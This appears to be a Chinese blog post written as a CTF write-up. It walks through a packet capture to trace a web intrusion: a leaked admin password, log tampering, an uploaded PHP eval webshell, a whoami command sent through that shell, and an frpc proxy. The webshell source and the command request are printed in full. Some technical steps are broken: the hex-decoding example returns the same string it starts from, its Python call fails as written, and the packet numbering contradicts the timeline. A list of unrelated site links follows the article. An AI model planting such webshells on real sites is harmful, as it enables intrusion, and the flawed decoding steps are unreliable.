当前位置: 首页 > news >正文

新手也能看懂的CTF题复盘:从流量包里挖出Webshell和Frpc代理的完整攻击链

从流量包中还原攻击链:Webshell与Frpc代理的实战分析

第一次打开Wireshark看到密密麻麻的数据包时,我和所有初学者一样感到无从下手。直到在去年的NSSCTF比赛中遇到这道基于真实攻击流量的题目,才真正理解如何像侦探一样从海量数据中拼凑出完整的攻击故事。本文将用最直观的方式,带你重现攻击者从登录到建立内网通道的全过程。

1. 初始入侵:密码与日志篡改痕迹

打开题目提供的pcap文件,首先注意到大量HTTP流量集中在80端口。使用Wireshark的过滤栏输入http.request.method == POST,立即聚焦到关键交互:

# Wireshark常用过滤语法 http.request.method == POST # 筛选POST请求 frame contains "password" # 搜索含密码字段的包 tcp.stream eq 12 # 追踪特定TCP流

在编号147的数据包中,发现明文的登录请求:

username=admin&password=Admin123!@#

典型错误:很多新手会直接搜索pass=这样的关键词,但实际攻击中字段名可能是pwdpasswd甚至自定义名称。建议先用http.request.method == POST定位所有提交请求。

接着追踪这个TCP流(右键→追踪→TCP流),发现攻击者成功登录后立即访问了日志目录:

GET /data/Runtime/Logs/Home/21_08_07.log HTTP/1.1

在332号包看到攻击者拼接了恶意内容到这个日志文件。这里暴露了两个关键信息:

  1. 系统使用ThinkPHP框架(通过/Runtime/Logs目录结构判断)
  2. 攻击者熟悉该框架的日志存储位置

提示:Web服务器日志通常是攻击者第一个篡改的目标,既可能用于隐藏行踪,也可能通过日志包含漏洞执行代码。

2. Webshell的植入与识别

过滤http.request.method == POST and http contains "upload",很快定位到337号数据包:

POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']);?>

这个经典的PHP一句话木马有几个特征:

  • 使用eval函数执行任意代码
  • 通过$_POST['cmd']接收控制命令
  • 伪装成简历模板上传(assign_resume_tpl

验证技巧:在Wireshark中右键该包→导出HTTP对象,保存为1.php后使用D盾等工具检测,会立即标记为恶意文件。

3. 权限确认与横向移动

攻击者上传Webshell后,首先执行了whoami确认权限。在317-319号包中可以看到:

POST /1.php HTTP/1.1 ... cmd=system('whoami');

返回结果显示www-data,这是Apache等Web服务的默认运行账户。这意味着:

权限级别可操作范围
www-data网站目录读写、部分系统命令
root完整系统控制(攻击者下一步目标)

接着攻击者通过Webshell下载了frpc客户端,这是内网穿透的常用工具。在导出的HTTP对象中搜索frpc,会发现一个可执行文件被上传到/tmp目录。

4. 内网代理的建立与分析

最精彩的部分出现在TCP流38中——一串看似乱码的十六进制数据:

00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d |HTTP/1.1 200 OK.| 00000010 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 |.Content-Type: t| 00000020 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 3d 30 48 |ext/plain....=0H| 00000030 44 46 74 31 36 63 4c 51 4a 23 4a 54 4e 32 37 36 |DFt16cLQJ#JTN276| 00000040 47 70 |Gp|

关键步骤解析:

  1. 提取=后的十六进制字符串:0HDFt16cLQJ#JTN276Gp
  2. 使用CyberChef进行Base16解码:
    import base64 print(base64.b16decode("30484446743136634C514A234A544E3237364770".lower()))
  3. 得到明文凭证:0HDFt16cLQJ#JTN276Gp

这正是攻击者配置的socks5代理认证信息,配合frpc实现内网穿透。整个过程就像拼图游戏,每个数据包都是关键碎片。

5. 防御视角的思考

复盘整个攻击链,有几个致命漏洞:

  1. 弱密码防护:使用Admin123!@#这样的简单密码
  2. 框架安全:未删除调试目录(/Runtime/Logs
  3. 文件上传漏洞:未校验上传文件类型
  4. 网络监控缺失:异常外连未被发现

对于防御者来说,可以采取这些措施:

  • 部署WAF拦截可疑文件上传
  • 监控/tmp等临时目录的可执行文件
  • 限制Web服务器的外连权限
  • 定期审计服务器日志

最后分享一个实用技巧:在Wireshark中设置着色规则,将包含eval(system(等关键词的流量标红,能快速定位潜在攻击行为。网络安全就像猫鼠游戏,理解攻击者的思维才能构建更坚固的防御。

http://www.jsqmd.com/news/909335/

相关文章:

  • 原神帧率解锁终极指南:3步安全突破60FPS限制,释放硬件全部性能
  • FancyZones技术架构深度解析:从窗口管理到生产力革命
  • RAG从入门到精通:检索增强生成的完整技术栈
  • FGA自动化神器:重新定义FGO安卓玩家的战斗体验
  • BERT uncased L-12 H-256 A-4模型架构详解:12层256隐藏层的设计奥秘
  • 让聊天记录成为数字资产:WeChatMsg打造你的专属记忆银行
  • 2026 东莞翡翠回收精选商户:专业团队鉴定,本地交易安全稳妥 - 薛定谔的梨花猫
  • 如何永久保存你的微信聊天记录:开源解决方案完全指南
  • 安全审计实战指南:Python 日志实现与 GDPR 合规深度解析
  • BERT uncased L-12 H-256 A-4在不同NLP任务上的表现评估:轻量级模型的终极指南
  • 5分钟学会SillyTavern:打造属于你的AI角色对话神器
  • Dart Simple Live:多平台直播聚合应用架构设计与实现方案
  • 2026年精密测头十大品牌/厂家推荐榜:常规/多截面/多几何测头、圆柱度/锥度/垂直度测头等非标定制公司深度解析 - 企业推荐官【官方】
  • Keil C251中ECODE段与混合编程实践
  • imFile:一款全能下载管理器如何彻底解决你的下载难题
  • 如何免费解锁WeMod Pro功能:终极Wand增强工具配置指南
  • 智慧树自动刷课插件:告别手动操作,开启高效学习新时代
  • 量子退火解决集合分割问题的QUBO建模与实践
  • 别再只盯着串联机械臂了!5自由度并联机械臂的搬运应用实战,精度与刚性实测
  • 数智透明·安全兜底|黎阳之光透明矿山,AI+数字孪生守护矿山生命线
  • TSDF三维重建实战:CPU vs GPU性能对比与PyCUDA加速配置详解
  • AI时代人类情商危机:低情商社会如何成为AI的有毒训练集
  • WPS-Zotero插件:Linux科研工作者的文献管理救星
  • 临沂外贸独立站哪家经验足?WaiMaoYa 外贸鸭贸易企业定制站点,深耕全球经销商渠道 - 外贸独立站运营
  • 学术文本优化利器合集:九大工具搞定查重与 AIGC 合规优化
  • 毕业必备!2026AI写作辅助网站榜单(覆盖 99% 毕业论文需求)
  • 小红书无水印内容采集完整指南:XHS-Downloader 开源工具深度解析
  • 如何快速上手Qwen3.6-35B-A3B-Claude-4.7-Opus-Reasoning-Distilled:5分钟安装与推理测试指南
  • DeepSeek-R1-Distill-Llama-70B-w8a8推理性能测试:内存占用与速度对比
  • 济南外贸网站开发哪家靠谱?WaiMaoYa 外贸鸭摒弃廉价模板网站,打造差异化外贸官网 - 外贸独立站运营